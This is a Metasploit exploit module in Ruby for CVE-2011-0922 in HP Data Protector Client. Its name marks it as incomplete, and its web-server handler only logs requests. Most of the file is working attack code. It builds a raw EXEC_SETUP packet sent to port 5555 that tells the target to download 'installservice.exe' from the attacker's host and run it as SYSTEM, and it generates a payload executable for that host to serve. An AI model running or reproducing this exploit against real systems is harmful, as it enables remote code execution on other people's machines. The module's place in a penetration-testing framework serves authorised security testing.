##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "[INCOMPLET] HP Data Protector Client EXEC_SETUP Remote Code Execution",
			'Description'    => %q{
					This module exploits a vulnerability found on HP Data Protector Client. By 
				supplying a modified EXEC_SETUP command, an remote attacker can instruct the
				client on port 5555 to download the malicious file from the attacker's machine 
				, and execute it as a setup file.

				NOTE: When HP Data Protector Client receives the packet, it tries to reach out to our
				port 137, and then it'll try to obtain the file via port 139.  If port 139 returns a
				access denied (or w/e), Data Protector Client will then try to request it via HTTP.
				If there's nothing listening on port 137, DPC will send us a RST, and that's the end
				of it.

				On OSX, however, it seems DPC won't even bother to connect to port 137, it sends
				RST right back at us.

				Tip from bannedit:
				send the initial packet... serve the file... when the server asks for the file...
				sleep for a bit... send the next packet
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision$",
			'Author'         =>
				[
					'Anonymous',  #Initial discovery, reported to ZDI
					'fdisk',      #Initial poc posted on exploit-db
					'sinn3r',     #Metasploit
				],
			'References'     =>
				[
					[ 'CVE', '2011-0922' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-056' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/17345/' ],
				],
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none",  #none/process/seh
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows universal', {} ],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Feb 7 2011",
			'DefaultTarget'  => 0))

			register_options(
				[
					Opt::RPORT(5555, false),
				], self.class)
	end

	#The fake web server is used to transfer the malicious payload when HP Data Protector client
	#requests it.
	def on_request_uri(cli, request)
		print_status("#{cli.peerhost} is trying to request our malicious file...")
		print_status("#{request.uri}")
	end

	def to_unicode(text)
		output = ''

		text.each do |char|
			output << char << "\x00"
		end

		return output
	end

	def send_exec_setup_packet(t)
		#Make sure the web server thread has begun
		select(nil, nil, nil, 1) while t.status != "run"

		#A little extra delay to make sure the initial web server output is finished
		select(nil, nil, nil, 0.2)

		#Host where we supply our payload
		srvhost = Rex::Socket.source_address.chomp
		srvport = datastore["SRVPORT"]

		#payload_filename = rand_text_alpha(5) + ".exe"
		payload_filename = "installservice.exe"

		#Fields in the packet
		rhost             = to_unicode("#{srvhost}:#{srvport}")
		owner             = to_unicode("SYSTEM")
		security_access   = to_unicode("NT AUTHORITY")
		install_path      = to_unicode("\\\\#{srvhost}:#{srvport}\\OmniBack\\#{payload_filename} -source \\\\#{srvhost}:#{srvport}\\OmniBack")
		type              = to_unicode("ADD/UPGRADE")
		base_path         = to_unicode("\\\\#{srvhost}:#{srvport}\\")
		install_type      = to_unicode("INSTALLATIONTYPE=\"Client\"")
		cell_name         = to_unicode("CELLNAME=\"#{srvhost}:#{srvport}\"")
		cell_client_name  = to_unicode("CELLCLIENTNAME=\"#{datastore['RHOST']}\"")
		all_users         = to_unicode("ALLUSERS=5")
		install_dir       = to_unicode("INSTALLDIR=\"$(OMNIBACK)\\\"")
		program_data      = to_unicode("PROGRAMDATA=\"$(DATAOMNIBACK)\\\"")
		inetport          = to_unicode("INETPORT=5555")
		add_local         = to_unicode("ADDLOCAL=core,javagui")
		opt_dnscheck      = to_unicode("OPT_DNSCHECK=1")
		opt_skipimport    = to_unicode("OPT_SKIPIMPORT=1")
		opt_msg           = to_unicode("OPT_MSG=1")

		pkt  = ''
		pkt << "\x00\x00\x01\xbe\xff\xfe\x32\x00\x00\x00\x20\x00"
		pkt << rhost
		pkt << "\x00\x00\x20\x00\x30\x00\x00\x00\x20\x00"
		pkt << owner
		pkt << "\x00\x00"
		pkt << "\x20\x00"
		pkt << security_access
		pkt << "\x00\x00"
		pkt << "\x20\x00"
		pkt << "\x43\x00"
		pkt << "\x00\x00"
		pkt << "\x20\x00"
		pkt << "\x32\x00\x36\x00\x00\x00\x20\x00"
		pkt << install_path
		pkt << "\x00\x00"
		pkt << "\x20\x00"
		pkt << install_path
		pkt << "\x20\x00"
		pkt << "\x00\x00\x00\x00\x00\x00\x02\x54\xff\xfe\x32\x00\x36\x00\x00\x00\x20\x00\x5b\x00\x30\x00\x5d\x00"
		pkt << type
		pkt << "\x0a\x00"
		pkt << base_path
		pkt << "\x0a\x00"
		pkt << install_type
		pkt << "\x20\x00"
		pkt << cell_name
		pkt << "\x20\x00"
		pkt << cell_client_name
		pkt << "\x20\x00"
		pkt << all_users
		pkt << "\x20\x00"
		pkt << install_dir
		pkt << "\x20\x00"
		pkt << program_data
		pkt << "\x20\x00"
		pkt << inetport
		pkt << "\x20\x00"
		pkt << add_local
		pkt << "\x20\x00"
		pkt << opt_dnscheck
		pkt << "\x20\x00"
		pkt << opt_skipimport
		pkt << "\x20\x00"
		pkt << opt_msg
		pkt << "\x0a\x00\x00\x00\x00\x00\x0a"

		print_status("Sending packet to remote machine....")
		print_status(pkt.to_s)

		#Connect to port on 5555
		connect
		sock.write(pkt)
		res = sock.get_once(-1)
		print_status("Response: #{res.to_s}")
		#disconnect

	end

	def exploit
		print_status("Generating payload...")
		@my_payload = generate_payload_exe

		t1 = Thread.new { super; }  #Start web server
		t2 = Thread.new { send_exec_setup_packet(t1); }  #Send packet

		t1.join
		t2.join
	end
end
